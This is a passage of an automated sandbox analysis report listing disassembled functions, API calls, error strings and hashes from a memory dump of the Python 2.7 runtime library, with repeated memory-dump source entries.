                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFatalMallocObject_
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c$Expecting ',' delimiter$Expecting object$GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 2067638752-3040942655
                                                                                                                                                                    • Opcode ID: a65dacd88a88e7c3ab11b3976cc79dc7933aa9d8a7913dbb22e1622472799be3
                                                                                                                                                                    • Instruction ID: dc05deaac865912410a9cec89962888fd3aaf2092532bdb9ac615fc9f5e2e084
                                                                                                                                                                    • Opcode Fuzzy Hash: a65dacd88a88e7c3ab11b3976cc79dc7933aa9d8a7913dbb22e1622472799be3
                                                                                                                                                                    • Instruction Fuzzy Hash: C2617D755002029FE7209F1CC880BABB7E5FB99334B60875AE96887255D7359893CBF3
                                                                                                                                                                    Function 6700CC00 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 200COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000014), ref: 6700CC40
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 6700CC7E
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFatalMallocObject_
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c$Expecting , delimiter$Expecting object$GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 2067638752-605780911
                                                                                                                                                                    • Opcode ID: 9d42f5bba16ea8fd2813ddee567649d8480a716528511697a0012e0d3ce6f50e
                                                                                                                                                                    • Instruction ID: ad4fe9e28b82b3385ddea9736593194f2f0a5c502a81d604d00a017b73a95457
                                                                                                                                                                    • Opcode Fuzzy Hash: 9d42f5bba16ea8fd2813ddee567649d8480a716528511697a0012e0d3ce6f50e
                                                                                                                                                                    • Instruction Fuzzy Hash: FC61F0715046018BE7208E1CD881BDBB7E5AB5E338F60471AE9B987284D335D987CBF2
                                                                                                                                                                    Function 670BD640 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 167COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\longobject.c,000000F4), ref: 670BD67A
                                                                                                                                                                    • PyInt_AsLong.PYTHON27(670B71C0), ref: 670BD69A
                                                                                                                                                                    Strings
                                                                                                                                                                    • nb_int should return int object, xrefs: 670BD70D
                                                                                                                                                                    • an integer is required, xrefs: 670BD72B
                                                                                                                                                                    • ..\Objects\longobject.c, xrefs: 670BD66F
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670BD674
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FormatInt_Long
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\longobject.c$an integer is required$nb_int should return int object
                                                                                                                                                                    • API String ID: 651860925-140860544
                                                                                                                                                                    • Opcode ID: 739b1b9a25859aa6f463cc4cd76a784e9d7a478b80ca0f230f57bd65d3fb1614
                                                                                                                                                                    • Instruction ID: 92d0c98ff20b937dee44ea427e74b6090b1dbf30e2a6d784c65da05f5aef6961
                                                                                                                                                                    • Opcode Fuzzy Hash: 739b1b9a25859aa6f463cc4cd76a784e9d7a478b80ca0f230f57bd65d3fb1614
                                                                                                                                                                    • Instruction Fuzzy Hash: A051B7756846014BD624CE29D84079AF3E8EB89B34F30476AED78873C0F732DA46C6A1
                                                                                                                                                                    Function 6700BE19 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 164COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: "$"$Invalid \escape$Invalid \uXXXX escape$\$\
                                                                                                                                                                    • API String ID: 0-2658592163
                                                                                                                                                                    • Opcode ID: 2655b718770ee72aed015c1f3c77a6f086f2f45801527a05a343c97ae89699ae
                                                                                                                                                                    • Instruction ID: 2dc2d7432b2268bbbc16d4e7ec3a04a6ae49cee91f4ac5451d69d71dd4ca3fdc
                                                                                                                                                                    • Opcode Fuzzy Hash: 2655b718770ee72aed015c1f3c77a6f086f2f45801527a05a343c97ae89699ae
                                                                                                                                                                    • Instruction Fuzzy Hash: 8851E071904655CBE7208F28CC41B6A73E5EF9A738F55062AE9B5473A0E734D842CBB2
                                                                                                                                                                    Function 670C9C30 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(850C2444,?,?,6723F440,?,?,?,?,?,?,6709F060,00000000), ref: 670C9C5B
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(850C2444,?,?,6723F440,?,?,?,?,?,?,6709F060,00000000), ref: 670C9C71
                                                                                                                                                                    • PyDict_Size.PYTHON27(6709F060,?,?,?,6723F440,?,?,?,?,?,?,6709F060,00000000), ref: 670C9C91
                                                                                                                                                                    • _PyDict_Next.PYTHON27(6709F060,?,?,?,?,?,?,?,?,6723F440), ref: 670C9CE0
                                                                                                                                                                    • _PyDict_Next.PYTHON27(6709F060,?,?,?,?,?,?,?,?,?,?,?,?,?,6723F440), ref: 670C9D20
                                                                                                                                                                      • Part of subcall function 670C8F50: PyErr_NoMemory.PYTHON27(6709F060,00000000,?,?,?,?,?,?,?,?,?,?,?,670C978E,00000000,850C2444), ref: 670C8F70
                                                                                                                                                                    • PyObject_GetIter.PYTHON27(6709F060,?,?,?,6723F440,?,?,?,?,?,?,6709F060,00000000), ref: 670C9D34
                                                                                                                                                                    • PyIter_Next.PYTHON27(00000000,?,?,?,?,6723F440,?,?,?,?,?,?,6709F060,00000000), ref: 670C9D47
                                                                                                                                                                    • PyIter_Next.PYTHON27(00000000,?,?,?,?,?,6723F440,?,?,?,?,?,?,6709F060,00000000), ref: 670C9D75
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Next$Dict_$Iter_SubtypeType_$Err_IterMemoryObject_Size
                                                                                                                                                                    • String ID: (}$g
                                                                                                                                                                    • API String ID: 1672250434-987084435
                                                                                                                                                                    • Opcode ID: b88088eb06dc3005151b2b7962c497f0359b53d975f26c3bb4a362c36c8cfa33
                                                                                                                                                                    • Instruction ID: 909dfa66ca50070281d66ca35fa1120663bfdf40e2456647f269e368c6ef1243
                                                                                                                                                                    • Opcode Fuzzy Hash: b88088eb06dc3005151b2b7962c497f0359b53d975f26c3bb4a362c36c8cfa33
                                                                                                                                                                    • Instruction Fuzzy Hash: 2241FA76E101155B8B00DAA8DC81AEFB3F89F99238B100369DD25A7385E734E956C7F3
                                                                                                                                                                    Function 67003FB0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 144COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_RichCompare.PYTHON27(?,?,00000002), ref: 67003FEF
                                                                                                                                                                    • PyString_FromString.PYTHON27(deque.remove(x): x not in deque), ref: 67004071
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245D10,00000000,deque.remove(x): x not in deque), ref: 6700407A
                                                                                                                                                                    • PyString_FromString.PYTHON27(deque mutated during remove().), ref: 670040AB
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245B38,00000000,deque mutated during remove().), ref: 670040B4
                                                                                                                                                                      • Part of subcall function 67003590: PyString_FromString.PYTHON27(pop from an empty deque), ref: 670035AF
                                                                                                                                                                      • Part of subcall function 67003590: PyErr_SetObject.PYTHON27(67245B38,00000000,pop from an empty deque), ref: 670035B8
                                                                                                                                                                      • Part of subcall function 67003B50: memcpy.MSVCR90(?,?,00000000), ref: 67003C06
                                                                                                                                                                      • Part of subcall function 67003B50: free.MSVCR90 ref: 67003C43
                                                                                                                                                                    Strings
                                                                                                                                                                    • deque.remove(x): x not in deque, xrefs: 6700406C
                                                                                                                                                                    • deque mutated during remove()., xrefs: 670040A6
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 670040A0
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FromObjectStringString_$CompareObject_Richfreememcpy
                                                                                                                                                                    • String ID: 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$deque mutated during remove().$deque.remove(x): x not in deque
                                                                                                                                                                    • API String ID: 1611417228-4046146866
                                                                                                                                                                    • Opcode ID: dd57998f7a3945e343e4ba8caf02a521b81f09c145ddeee5eb71ed9bc05a543b
                                                                                                                                                                    • Instruction ID: 4854eda17adcaf8b07aa9b6bdecfc32522511c2eb57925a2990a6de5b430c98a
                                                                                                                                                                    • Opcode Fuzzy Hash: dd57998f7a3945e343e4ba8caf02a521b81f09c145ddeee5eb71ed9bc05a543b
                                                                                                                                                                    • Instruction Fuzzy Hash: 8841F9766046016BE210DE78D880B5AB3E4FF9E334B100729FA29D7281E775DD46C6E6
                                                                                                                                                                    Function 67011D00 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 97COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_ParseTuple.PYTHON27(?,i:getrandbits,?), ref: 67011D13
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245D10,number of bits must be greater than zero), ref: 67011D32
                                                                                                                                                                    • malloc.MSVCR90 ref: 67011D6A
                                                                                                                                                                    • PyErr_NoMemory.PYTHON27 ref: 67011D79
                                                                                                                                                                    • _PyLong_FromByteArray.PYTHON27(00000000,?,00000001,00000000), ref: 67011DD9
                                                                                                                                                                    • free.MSVCR90 ref: 67011DE1
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Arg_ArrayByteFromLong_MemoryParseStringTuplefreemalloc
                                                                                                                                                                    • String ID: $i:getrandbits$number of bits must be greater than zero
                                                                                                                                                                    • API String ID: 161777060-1220404624
                                                                                                                                                                    • Opcode ID: b437e76fa8cd08d1f4c5064627337c6d7a2b607598af8250c6640b10a6561dc7
                                                                                                                                                                    • Instruction ID: 57d8fae329bdf0ced4ff3f89cddc4d9f3fbc059f2ea4bc91f744b36de62de61d
                                                                                                                                                                    • Opcode Fuzzy Hash: b437e76fa8cd08d1f4c5064627337c6d7a2b607598af8250c6640b10a6561dc7
                                                                                                                                                                    • Instruction Fuzzy Hash: 46216E73B082046BDB14CBF8EC8475E77AEDBD9214F104669EE08D7345EA31DA42C3A1
                                                                                                                                                                    Function 67005510 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 97COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(None), ref: 67005539
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FromStringString_
                                                                                                                                                                    • String ID: ...$None$defaultdict(%s, %s)
                                                                                                                                                                    • API String ID: 3295083243-2392874948
                                                                                                                                                                    • Opcode ID: 9487a9579ee6492d011194b2043eac87ce0f6a68872346fba9a6a629cbe09ceb
                                                                                                                                                                    • Instruction ID: 72c007491c15befa42063104dc9905c32b2143e6df1b74c9c99f3ee0266b4ddd
                                                                                                                                                                    • Opcode Fuzzy Hash: 9487a9579ee6492d011194b2043eac87ce0f6a68872346fba9a6a629cbe09ceb
                                                                                                                                                                    • Instruction Fuzzy Hash: 0221A6B7A041019FE710DAA4FC80E5B73E9AB8C239B140365F92987241E735E956C7F3
                                                                                                                                                                    Function 670AFFE0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 83COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670B0006
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(?,softspace), ref: 670B001D
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 670B002B
                                                                                                                                                                    • PyInt_AsLong.PYTHON27(00000000), ref: 670B003F
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(?), ref: 670B005E
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 670B006C
                                                                                                                                                                    • PyObject_SetAttrString.PYTHON27(?,softspace,00000000), ref: 670B007F
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 670B008B
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ClearErr_$AttrInt_LongObject_String$FromSubtypeType_
                                                                                                                                                                    • String ID: softspace
                                                                                                                                                                    • API String ID: 3854672287-2976471430
                                                                                                                                                                    • Opcode ID: bf96c0b477ef12d17237cff514795b73c2e60653b3170396b0ddd804f20ca52f
                                                                                                                                                                    • Instruction ID: 50854e5b8fcfcb8fdb1f43a53e7b8a576af6f6c78f83d1347586fc538a76de14
                                                                                                                                                                    • Opcode Fuzzy Hash: bf96c0b477ef12d17237cff514795b73c2e60653b3170396b0ddd804f20ca52f
                                                                                                                                                                    • Instruction Fuzzy Hash: E321CC756586015B82209A54AD80B9EB3E89F5C778F104326E95CC7340D737EE46D6F2
                                                                                                                                                                    Function 6701A6F0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 78COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTupleAndKeywords_SizeT.PYTHON27(?,?,z*|n:unpack_from,67260034,?,?), ref: 6701A717
                                                                                                                                                                    • PyErr_Format.PYTHON27(00000000,unpack_from requires a buffer argument), ref: 6701A73B
                                                                                                                                                                    • PyBuffer_Release.PYTHON27(?,00000000,unpack_from requires a buffer argument), ref: 6701A744
                                                                                                                                                                    Strings
                                                                                                                                                                    • unpack_from requires a buffer of at least %zd bytes, xrefs: 6701A797
                                                                                                                                                                    • z*|n:unpack_from, xrefs: 6701A709
                                                                                                                                                                    • unpack_from requires a buffer argument, xrefs: 6701A735
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_Buffer_Err_FormatKeywords_ParseReleaseSizeTuple
                                                                                                                                                                    • String ID: unpack_from requires a buffer argument$unpack_from requires a buffer of at least %zd bytes$z*|n:unpack_from
                                                                                                                                                                    • API String ID: 2231244333-4104061268
                                                                                                                                                                    • Opcode ID: c05bc6090018a74b8f47fa6a5b04f76fcb782af7064ed7a5df8f2cfe3ba1fbc7
                                                                                                                                                                    • Instruction ID: be278bf5f1690e728026027591dff2c1819eda9b6984a9d3e47e24f2523deef9
                                                                                                                                                                    • Opcode Fuzzy Hash: c05bc6090018a74b8f47fa6a5b04f76fcb782af7064ed7a5df8f2cfe3ba1fbc7
                                                                                                                                                                    • Instruction Fuzzy Hash: 3321C9B6E141086FDB04DFD4EC85E9E73BCDB4C218F10429AFD0893200F631AA4497E1
                                                                                                                                                                    Function 67148570 Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 38COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyOS_snprintf.PYTHON27(67282580,0000004C,%s%s%s, %.20s, %.9s,v2.7.18,671F3E4C,8d21aa21f2,Apr 20 2020,13:19:08,6700A724,[MSC v.1500 32 bit (Intel)]), ref: 671485DE
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: S_snprintf
                                                                                                                                                                    • String ID: %s%s%s, %.20s, %.9s$13:19:08$8d21aa21f2$Apr 20 2020$default$tags/v2.7.18^0$undefined$v2.7.18
                                                                                                                                                                    • API String ID: 2260853251-2313236023
                                                                                                                                                                    • Opcode ID: c5f1a30142f7f77f04f159943c1b06540db1425f94771ded7b6b84650413a273
                                                                                                                                                                    • Instruction ID: 4b5603f5d6713ddbbafbced6c5d243fc8858e8eab613e5c0576989d86c44bb8a
                                                                                                                                                                    • Opcode Fuzzy Hash: c5f1a30142f7f77f04f159943c1b06540db1425f94771ded7b6b84650413a273
                                                                                                                                                                    • Instruction Fuzzy Hash: D2F096D864C14837D31259745CF1F636EF2572E118F8A01A6EA689F686E207C4494395
                                                                                                                                                                    Function 670C6C20 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 193COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyUnicodeUCS2_AsEncodedString.PYTHON27(?,00000000,00000000), ref: 670C6C55
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,attribute name must be string, not '%.200s',?), ref: 670C6C7B
                                                                                                                                                                    • PyType_Ready.PYTHON27(?), ref: 670C6C9C
                                                                                                                                                                    • _PyType_Lookup.PYTHON27(?,?), ref: 670C6CAE
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,?), ref: 670C6D52
                                                                                                                                                                    Strings
                                                                                                                                                                    • attribute name must be string, not '%.200s', xrefs: 670C6C75
